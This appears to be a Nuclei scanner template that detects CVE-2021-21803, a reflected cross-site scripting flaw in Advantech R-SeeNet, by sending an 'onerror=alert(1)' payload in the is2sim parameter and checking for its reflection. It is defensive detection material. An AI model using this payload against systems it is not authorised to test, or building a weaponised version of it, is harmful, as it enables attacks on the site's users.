id: CVE-2021-21803

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21803
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21803
    cwe-id: CWE-79
    epss-score: 0.83742
    epss-percentile: 0.98071
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
  tags: cve,cve2021,rseenet,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200